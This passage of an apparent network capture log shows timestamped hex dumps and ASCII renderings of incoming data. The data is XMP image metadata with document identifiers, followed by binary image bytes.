4 69 64 3a 35 44 44 45 44 30 32 39 33 33 31 36 31 31 45 30 41 46 36 43 43 34 33 38 34 42 32 44 45 41 41 44 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 45 35 32 45 33 44 43 43 43 43 45 32 31 31 
39 31 44 39 46 36 45 44 30 31 37 38 45 36 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 35 44 45 41 32 38 42 46 30 41 32 30 36 38 31 31 39 31 30 39 38 43 
Data Ascii: :5DAE74193520681195FED8BDF841C77D</rdf:li> <rdf:li>xmp.did:5DAF1764B0286811822ADABA15A46
DEC</rdf:li> <rdf:li>xmp.did:5DDED029331611E0AF6CC4384B2DEAAD</rdf:li> <rdf:li>xmp.did:5DE52E3DCCCCE
21191D9F6ED0178E6C0</rdf:li> <rdf:li>xmp.did:5DEA28BF0A20681191098C

2022-05-26 11:46:49 UTC 6129 IN Data Raw: 44 46 38 30 37 36 44 30 44 31 31 45 31 39 42 46 45 38 39 34 45 39 46 36 41 36 41 34 43 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 45 32 33 34 46 41 33 37 39 42 44 46 31 31 42 36 36 38 
38 35 31 33 45 34 30 45 37 30 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 
42 46 35 33 32 37 38 44 34 37 35 45 30 31 31 39 30 30 37 42 37 31 35 42 31 45 39 32 34 30 42 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 46 36 36 32 44 35 38 36 43 42 45 32 31 31 42 38 34 30 42 
38 44 43 45 46 37 33 42 45 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 43 
30 42 37 36 43 46 30 45 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 
Data Ascii: DF8076D0D11E19BFE894E9F6A6A4C</rdf:li> <rdf:li>xmp.did:6BE234FA379BDF11B6688513E40E704F<
/rdf:li> <rdf:li>xmp.did:6BF53278D475E0119007B715B1E9240B</rdf:li> <rdf:li>xmp.did:6BF662D586CBE211B
840B8DCEF73BEEA</rdf:li> <rdf:li>xmp.did:6C0B76CF0E206811B4BCC2A8EB

2022-05-26 11:46:49 UTC 6145 IN Data Raw: 32 41 30 46 44 44 38 46 41 33 37 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 37 41 44 41 37 39 38 32 45 38 46 44 45 30 31 31 39 45 30 36 42 41 42 43 35 41 42 41 35 36 44 38 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 41 45 31 41 37 44 38 32 42 32 32 45 30 31 31 38 
38 41 30 46 44 44 38 41 31 33 37 38 39 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 6
4 3a 37 41 45 39 37 36 34 32 31 30 32 30 36 38 31 31 39 32 42 30 39 30 46 45 43 38 43 42 30 30 30 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 42 32 33 30 34 42 43 36 37 44 38 44 45 31 31 41 46 
44 43 39 39 31 34 44 42 36 36 33 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: 2A0FDD8FA37F2</rdf:li> <rdf:li>xmp.did:7ADA7982E8FDE0119E06BABC5ABA56D8</rdf:li> <rdf:li
>xmp.did:7AE1A7D82B22E01188A0FDD8A137892C</rdf:li> <rdf:li>xmp.did:7AE976421020681192B090FEC8CB000D<
/rdf:li> <rdf:li>xmp.did:7B2304BC67D8DE11AFDC9914DB6632FA</rdf:li> 

2022-05-26 11:46:49 UTC 6152 IN Data Raw: 34 41 31 32 37 46 42 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 
32 37 46 34 39 39 31 36 42 32 30 36 38 31 31 38 30 46 37 42 43 45 30 31 31 35 43 37 36 42 42 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 37 63 65 61 66 62 2d 33 64 34 65 2d 33 64 34 37 2d 62 62 
35 62 2d 61 62 64 32 63 38 33 33 31 35 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 6
4 3a 38 32 38 30 62 32 65 62 2d 34 36 37 62 2d 34 31 63 38 2d 38 38 31 61 2d 35 65 61 66 34 62 39 32 34 66 38 65 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 38 44 30 45 41 35 46 44 39 44 45 31 
31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 
Data Ascii: 4A127FBB2</rdf:li> <rdf:li>xmp.did:827F49916B20681180F7BCE0115C76BB</rdf:li> <rdf:li>xmp.did:827ce
afb-3d4e-3d47-bb5b-abd2c8331577</rdf:li> <rdf:li>xmp.did:8280b2eb-467b-41c8-881a-5eaf4b924f8e</rdf:li> <rdf:li
>xmp.did:828D0EA5FD9DE111ADD29B684E45E581</rdf:

2022-05-26 11:46:49 UTC 6168 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 39 30 66 39 33 2d 65 65 64 33 2d 61 32 34 63 2d 
61 33 37 36 2d 35 33 61 66 63 33 33 33 65 31 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 38 65 62 62 65 65 31 35 2d 30 34 36 61 2d 32 35 34 33 2d 38 64 62 36 2d 36 30 37 38 30 63 34 32 31 37 38 
66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 65 36 35 33 36 37 2d 31 33 32 
66 2d 34 64 39 63 2d 39 34 35 36 2d 62 36 64 37 66 35 30 62 32 37 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 38 66 34 33 37 31 64 66 2d 30 30 66 30 2d 34 62 66 62 2d 61 66 62 32 2d 64 64 30 62 
61 32 33 32 35 31 61 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: <rdf:li>xmp.did:8ea90f93-eed3-a24c-a376-53afc333e119</rdf:li> <rdf:li>xmp.did:8ebbee15-046a-2543-8db6-
60780c42178f</rdf:li> <rdf:li>xmp.did:8ee65367-132f-4d9c-9456-b6d7f50b2793</rdf:li> <rdf:li>xmp.did:8f4371df-00f0-4b
fb-afb2-dd0ba23251a3</rdf:li> <rdf:li

2022-05-26 11:46:49 UTC 6184 IN Data Raw: 63 37 2d 39 66 37 36 2d 34 31 61 39 2d 39 30 33 38 2d 61 34 66 38 37 65 62 37 61 34 38 36 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 64 65 62 34 33 39 30 2d 62 66 61 63 2d 34 62 37 34 
2d 61 34 39 35 2d 33 35 37 38 37 33 61 61 36 65 33 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2
e 64 69 64 3a 39 65 38 32 63 36 65 39 2d 34 65 33 33 2d 30 62 34 37 2d 61 37 61 30 2d 36 32 35 36 36 38 64 35 39 36 
36 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 65 62 63 35 34 32 31 2d 64 32 
38 38 2d 34 39 39 62 2d 38 31 66 61 2d 63 39 32 30 32 32 64 33 39 35 64 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 65 63 63 64 33 61 62 2d 33 35 66 37 
Data Ascii: c7-9f76-41a9-9038-a4f87eb7a486</rdf:li> <rdf:li>xmp.did:9deb4390-bfac-4b74-a495-357873aa6e3b</rdf:li> 
<rdf:li>xmp.did:9e82c6e9-4e33-0b47-a7a0-625668d5966d</rdf:li> <rdf:li>xmp.did:9ebc5421-d288-499b-81fa-c920
22d395db</rdf:li> <rdf:li>xmp.did:9eccd3ab-35f7
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2022-05-26 11:46:49 UTC 6192 IN Data Raw: 35 43 45 34 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 31 
34 39 32 41 39 45 31 42 45 31 31 31 38 38 45 33 41 45 39 44 39 32 43 41 45 46 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 46 41 44 45 43 30 46 32 30 36 38 31 31 39 32 42 30 46 43 38 35 
30 32 37 33 30 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 30 37 45 3
0 43 42 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 31 37 37 43 44 42 31 35 32 30 36 38 31 31 41 46 46 44 44 33 32 32 36 
30 41 42 33 42 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 5CE444</rdf:li> <rdf:li>xmp.did:A8F1492A9E1BE11188E3AE9D92CAEF2E</rdf:li> <rdf:li>xmp.di
d:A8FFADEC0F20681192B0FC8502730FE5</rdf:li> <rdf:li>xmp.did:A907E0CBFD9DE111ADD29B684E45E581</rdf:li> 
<rdf:li>xmp.did:A9177CDB15206811AFFDD32260AB3BBC</rdf:li> <rdf:li

2022-05-26 11:46:49 UTC 6208 IN Data Raw: 64 69 64 3a 43 32 33 35 36 35 45 38 31 35 32 30 36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 33 36 38 32 36 36 39 30 31 41 
45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 43 32 34 41 37 43 43 34 39 45 39 33 44 46 31 31 39 30 41 43 42 36 35 35 32 42 44 43 42 37 30 32 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 37 42 33 38 35 32 32 41 32 30 36 
38 31 31 39 32 42 30 41 34 32 34 38 37 30 35 39 42 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 43 32 42 30 41 34 43 42 32 45 32 30 36 38 31 31 38 30 38 
Data Ascii: did:C23565E81520681192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:C2368266901AE2118761E8EFB3
67D965</rdf:li> <rdf:li>xmp.did:C24A7CC49E93DF1190ACB6552BDCB702</rdf:li> <rdf:li>xmp.did:C27B38522A
20681192B0A42487059B16</rdf:li> <rdf:li>xmp.did:C2B0A4CB2E206811808

2022-05-26 11:46:49 UTC 6224 IN Data Raw: 41 31 42 44 31 39 34 32 31 36 38 31 31 38 46 36 32 44 46 42 31 37 36 46 32 41 31 37 39 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 34 46 30 41 38 39 32 43 32 30 36 38 31 31 39 32 42 30 
41 36 36 41 37 30 46 46 44 31 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 
37 35 34 33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 35 41 44 37 46 34 31 34 32 30 36 38 31 31 38 30 38 33 46 
39 44 33 44 31 30 32 44 37 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 
37 31 45 31 39 34 45 42 32 30 36 38 31 31 38 46 36 32 41 30 46 44 44 38 
Data Ascii: A1BD1942168118F62DFB176F2A179</rdf:li> <rdf:li>xmp.did:D74F0A892C20681192B0A66A70FFD169<
/rdf:li> <rdf:li>xmp.did:D75434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:D75AD7F4142068118
083F9D3D102D7DD</rdf:li> <rdf:li>xmp.did:D771E194EB2068118F62A0FDD8

2022-05-26 11:46:49 UTC 6232 IN Data Raw: 41 39 41 44 45 31 31 39 32 36 42 38 45 39 34 35 37 35 41 38 38 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 31 45 32 32 30 43 32 39 33 32 32 36 38 31 31 39 36 35 43 42 36 33 31 31 46 
45 42 37 41 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 31 42 43 34 38 
35 46 34 32 33 36 38 31 31 38 41 36 44 45 41 35 36 41 42 34 43 34 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 33 44 34 43 34 41 43 39 32 30 36 38 31 31 42 30 34 43 44 45 44 46 38 31 43 
38 35 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 34 32 42 45 43 33 
32 34 32 30 36 38 31 31 38 30 38 33 41 33 34 37 32 44 37 31 32 31 32 38 
Data Ascii: A9ADE11926B8E94575A8839</rdf:li> <rdf:li>xmp.did:E1E220C293226811965CB6311FEB7A81</rdf:li> <rdf:li
>xmp.did:E21BC485F42368118A6DEA56AB4C45D8</rdf:li> <rdf:li>xmp.did:E23D4C4AC9206811B04CDED
F81C85CB3</rdf:li> <rdf:li>xmp.did:E242BEC3242068118083A3472D712128

2022-05-26 11:46:49 UTC 6248 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 
31 31 39 31 30 39 42 35 46 42 45 31 34 38 35 31 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 42 43 39 32 31 42 35 42 45 46 36 43 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 
31 39 31 30 39 43 36 32 33 36 38 42 46 46 42 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 37 31 43 46 36 44 39 45 32 41 34 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 
Data Ascii: :li> <rdf:li>xmp.did:F77F1174072068119109B5FBE1485112</rdf:li> <rdf:li>xmp.did:F77F117407206811910
9BC921B5BEF6C</rdf:li> <rdf:li>xmp.did:F77F1174072068119109C62368BFFBF7</rdf:li> <rdf:li>xmp.did:F77
F1174072068119109C71CF6D9E2A4</rdf:li> <rdf:li>xmp.did:F7

2022-05-26 11:46:49 UTC 6264 IN Data Raw: 34 30 37 32 30 36 38 31 31 38 37 31 46 42 37 41 38 32 41 35 36 37 43 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 46 33 34 41 
44 46 38 33 36 38 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 
31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 45 32 46 36 32 31 34 44 39 32 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 36 44 45 41 37 36 45 31 
31 34 43 35 44 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 
37 34 30 37 32 30 36 38 31 31 41 44 45 35 39 46 44 45 38 43 31 39 44 30 
Data Ascii: 407206811871FB7A82A567CCA</rdf:li> <rdf:li>xmp.did:FE7F117407206811871FF34ADF83686B</rdf:li> 
<rdf:li>xmp.did:FE7F1174072068118C14E2F6214D92C3</rdf:li> <rdf:li>xmp.did:FE7F117407206811A6DEA
76E114C5DA9</rdf:li> <rdf:li>xmp.did:FE7F117407206811ADE59FDE8C19D0

2022-05-26 11:46:49 UTC 6267 IN Data Raw: 38 62 37 33 61 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 33 36 
65 66 64 62 30 2d 62 61 65 61 2d 34 65 33 36 2d 38 61 34 64 2d 62 33 34 34 66 37 61 39 66 66 33 38 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 33 37 31 65 38 62 30 2d 37 64 30 62 2d 34 36 30 35 2d 
61 32 62 38 2d 61 34 62 30 35 37 39 30 30 38 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 61 33 37 32 33 64 30 39 2d 62 30 39 39 2d 34 31 36 38 2d 38 34 61 61 2d 32 64 64 62 36 66 61 35 33 38 63 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 33 39 38 34 61 61 36 2d 39 32 35 
62 2d 34 37 35 38 2d 39 61 65 37 2d 37 61 36 61 36 38 65 65 37 30 34 31 
Data Ascii: 8b73af3</rdf:li> <rdf:li>xmp.did:a36efdb0-baea-4e36-8a4d-b344f7a9ff38</rdf:li> <rdf:li>xmp.did:a371e8b0-
7d0b-4605-a2b8-a4b057900875</rdf:li> <rdf:li>xmp.did:a3723d09-b099-4168-84aa-2ddb6fa538c6</rdf:li> <rdf:li>xmp.did
:a3984aa6-925b-4758-9ae7-7a6a68ee7041

2022-05-26 11:46:49 UTC 6283 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 34 31 62 63 36 66 31 2d 62 37 64 35 2d 34 62 31 37 
2d 38 30 65 37 2d 30 31 39 61 66 64 61 61 65 36 33 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 64 34 33 62 66 66 32 63 2d 30 64 37 37 2d 34 36 62 66 2d 38 31 63 35 2d 32 36 33 30 34 61 35 30 34 62 
36 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 34 35 34 30 34 33 61 2d 36 35 
35 37 2d 34 34 39 31 2d 61 65 37 63 2d 33 36 63 39 62 31 61 38 32 65 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 34 36 31 32 30 34 38 2d 33 65 62 66 2d 34 33 65 36 2d 38 36 39 61 2d 35 32 66 
63 38 37 33 31 36 65 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii:  <rdf:li>xmp.did:d41bc6f1-b7d5-4b17-80e7-019afdaae63b</rdf:li> <rdf:li>xmp.did:d43bff2c-0d77-46bf-81c5-
26304a504b6d</rdf:li> <rdf:li>xmp.did:d454043a-6557-4491-ae7c-36c9b1a82e47</rdf:li> <rdf:li>xmp.did:d4612048-3ebf-
43e6-869a-52fc87316e45</rdf:li> <rdf:l
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2022-05-26 11:46:49 UTC 6299 IN Data Raw: 14 7f 6d 7a 0f eb fc a2 be 6f fe 31 fe ec c7 74 e4 70 98 4c 7f eb 47 e2 23 af 6d 2f ee 2f 4c 3f af f2 8b 03 ff 00 8b 
df b9 af bb 97 c4 04 09 b3 13 f7 d3 fe df c0 be c2 f6 37 1f ff 00 16 3f 72 66 00 a7 3b 85 27 b5 e2 3c 7b 2a 3f b9 f0 5f f5 97 
b1 8b ff 00 c5 1f dc e7 ff 00 f3 b8 33 69 01 c9 37 f8 55 7f 6d 7a 62 fe ba f6 17 ff 00 9a 97 ee 2d 0f b8 70 d5 bb 0b 1b 7c 74 
a5 fd cf fe 2c 3f af 5f fd 91 63 1f ff 00 13 3d f1 81 2d ee bc 11 1d 25 a6 8f ed bf fd 7f 50 fb 15 ff 00 db f4 16 df fc 4c fd ca a6 
fc fe 1e de dd f6 3f 7c fd d4 bf b9 f0 57 f5 97 bf d0 ef ff 00 35 0f 7c 50 59 fd d3 84 00 1d ad 55 fd b7 ff 00 ab 23 ec 57 ff 00 
6f d0 24 ff 00 e2 b7 b8 6e db 93 dd b8 a0 f6 05 62 63 e7 4b fb 6f ff 00 5f d4 7f 66 9f fb 7e 84 0f fe 2a 7b ab 64 db ff 00 74 
e3 2a f6 
Data Ascii: mzo1tpLG#m//L?7?rf;'<{*?_3i7Umzb-p|t,?_c=-%PL?|W5|PYU#Wo$nbcKo_f~*{dt*

2022-05-26 11:46:49 UTC 6303 IN Data Raw: e3 70 48 1d ff 00 ca a9 29 25 b1 9b 5c 5e d7 9b 28 a6 33 84 b4 f5 8e da 99 2a 01 f3 34 5f c4 01 4e 09 2b f2 1f 
93 64 e3 a2 91 d5 98 e9 f0 ac ef 5b 3d 41 54 e3 e4 14 c4 f0 1b 2b 02 fd 48 1f 85 0a 8d 6f 7f a0 ac d3 d1 60 e4 00 c0 d4 d6 
e9 10 d8 11 93 21 20 dc 7d d5 2e 58 83 f4 d4 a7 a7 a0 3d 07 e5 14 9a 82 91 0e 73 45 a0 8e c8 26 47 ce b3 72 8a c3 05 
b0 95 f3 30 53 3a af fa e9 52 e9 f4 2a 4e 23 23 ad c8 00 74 81 14 da 04 c7 1c 86 21 6c 3f 0a 1d 85 04 63 72 b2 c7 e3 14 
d5 84 ea 4b c3 98 6d 23 e5 df 42 59 c9 53 02 9b 88 a5 a4 99 8b 0d 35 f1 a9 e4 34 1e 5c 58 81 05 c3 12 b3 1d dd 3a 58 
eb 4f f6 f9 26 1e d1 45 f8 c5 97 68 da a0 8e a0 e9 1d 83 ad 38 43 96 c6 2f 00 2a 2a 2b 34 01 1d 16 47 c6 4d 11 f5 ff 00 f9 
49 fa 87 8f 8f 07 ea 33 df 2c 7e fb 7d d4 e7 e4 09 4f 
Data Ascii: pH)%\^(3*4_N+d[=AT+Ho`! }.X=sE&Gr0S:R*N##t!l?crKm#BYS54\X:XO&Eh8C/**+4GMI3,~}O

2022-05-26 11:46:49 UTC 6319 IN Data Raw: 26 3f 0a 40 33 d1 6b 5a 89 1c 05 b1 56 e3 ea a2 06 49 88 06 6e 7a d3 10 27 73 6a 62 99 20 8c 62 4f 67 6d 2d 
04 90 45 cc 1a 18 1c ac 75 d3 b7 ec 68 40 73 21 27 53 14 80 e5 0c 2c d4 82 0e d8 0e b4 c6 48 20 a9 99 a1 b8 08 25 54 
0f a4 47 67 d8 d4 c1 42 79 59 97 12 fa 6a 67 23 76 e9 e3 52 c0 94 60 83 68 9b ea 49 fe 15 a2 51 81 4c 9d bd 45 80 a1 88 
10 f1 6b db bc 9a 89 08 22 0b 68 0f ca 3f 1a 1e 58 10 56 7a fe 75 a7 26 4a 40 32 15 9f 2f 9a 86 d3 60 91 00 ab 13 ba 67 
5b db f0 a2 33 3f a0 a4 ee c3 a5 b5 fb e8 8f 41 21 2b 3a fd 0d df 4f 8c 6c 39 0c dc c2 cd e3 49 24 c2 49 f5 00 b4 c5 38 09 
24 b9 26 c4 93 3f 85 47 14 39 67 15 22 49 89 aa 79 58 04 57 c8 ed 68 ad 95 61 fe 06 4d 9d eb fa 8b ac 01 6a 53 1f 47 fe 
64 36 7f ff d6 f4 4c 34 1d bd 6b c7 3b 02 79 8d c7 5f c6 
Data Ascii: &?@3kZVInz'sjb bOgm-Euh@s!'S,H %TGgByYjg#vR`hIQLEk"h?XVzu&J@2/`g[3?A!+:Ol9I$I8$&?G9g"IyX
WhaMjSGd6L4k;y_

2022-05-26 11:46:49 UTC 6335 IN Data Raw: 06 52 31 e4 32 56 7a f7 76 6b d6 b5 ab 68 52 9e cc 9c fc 70 84 90 0d c4 90 3a c7 6d 75 23 9e 02 1e df 8b 16 
31 94 a0 de 7c b0 23 52 47 9b 4b 9a 38 79 36 56 49 03 c8 f6 de 46 3c 9b 94 80 2e 03 08 58 ff 00 97 b4 eb 58 c7 13 66 e7 
43 38 bc fc 98 59 70 b1 52 aa 22 05 a4 8e a2 67 ef ad 6b 69 22 d8 2f e3 e3 e5 55 27 1a 96 03 b0 48 83 3d 95 dc bb 12 c1 
cf 03 b1 65 20 12 0c 93 f1 d2 ba 62 49 1e 32 86 61 78 3d 82 92 45 c8 d4 c9 69 6b 81 a8 3f 75 28 1a 39 bc 84 11 a1 30 3e 
34 48 0e f5 0d c9 ff 00 5a ce 06 25 9b 68 30 0e ba 1a ad 00 b1 91 3d 50 b9 3f 4c ff 00 a5 64 da 92 e0 27 01 ff 00 da 0d c0 
1d 00 d0 c5 41 48 ed 8f 60 d7 5d 01 83 06 89 08 2f 63 0e 50 22 1f 34 ea 07 e3 5a d5 a2 1a 1e ce c1 8e f9 bf 85 02 00 ba 
cd ae b1 14 0c 2c 4c b9 58 5e 0a 98 3d d6 d2 90 41 c4 
Data Ascii: R12VzvkhRp:mu#1|#RGK8y6VIF<.XXfC8YpR"gki"/U'H=e bI2ax=Eik?u(90>4HZ%h0=P?Ld'AH`]/cP"4Z,LX^=A

2022-05-26 11:46:49 UTC 6343 IN Data Raw: 91 7b c6 9d b7 ac db 90 58 33 39 3e cd fe 62 ed c8 0b 28 93 0d a9 1a 88 37 eb 4d 75 c8 3c 8d f6 ff 00 da 7c 
54 cf 38 06 c7 0b bf 7c 44 9e ee 94 7d b6 0a a9 1a 0b c4 cf 85 4a 02 cc bd fb 7e 35 6e ae 09 93 27 37 ed e6 cb 90 9c 4b 
05 0e e3 06 e6 04 ce ed 05 73 7d a6 b2 0f 27 94 e7 60 45 62 dc 97 05 9e 76 6e 10 57 48 d2 ff 00 3a c4 ce 24 ec 2a 70 71 
19 d9 1a 60 86 22 eb ff 00 0f 6d e8 b1 70 e0 dd f6 ff 00 63 f6 be 6f b7 e1 39 59 d7 36 56 d4 28 07 cb 7b 01 a2 af 68 bd 75 
57 ad 59 22 0f 21 ef 7f b7 79 5e df 9d f0 f0 42 f2 b1 1b 31 71 0c ac 6e 56 67 6b 7f c5 d2 97 da 4c be 50 3b da ff 00 6c 7b 
86 0c 87 9f 94 0e 19 40 08 18 48 66 27 b0 0b 8f 8d 44 71 2e 64 f4 e7 26 4f ab 24 b7 43 ba 6d 3d bd c0 56 d0 67 02 b1 e0 
e4 67 51 25 98 58 85 98 17 fe 54 4a 45 43 34 0f b5 
Data Ascii: {X39>b(7Mu<|T8|D}J~5n'7Ks}'`EbvnWH:$*pq`"mpco9Y6V({huWY"!y^B1qnVgkLP;l{@Hf'Dq.d&O$Cm=Vgg
Q%XTJEC4

2022-05-26 11:46:49 UTC 6359 IN Data Raw: 83 e3 22 fd d5 ad 91 10 51 e1 f0 f9 18 1b fb ac b9 35 9b 9e cb 77 7c aa 54 a2 49 ff 00 bb 83 87 27 40 ba cd 84 
9b c5 70 dd b5 fb 91 9b b1 1c 4f 77 e0 f2 b2 1c 6f 9f 1a a8 02 77 d8 16 3d 01 ee a8 4e 4c eb da a6 0f 41 87 8a bc 7e 38 
56 32 90 40 d8 66 67 48 3d 6b d0 a4 a3 b1 44 11 85 f2 60 60 45 9a 20 90 34 f8 45 77 f3 9d 1c fc 46 72 3d db 06 11 39 99 
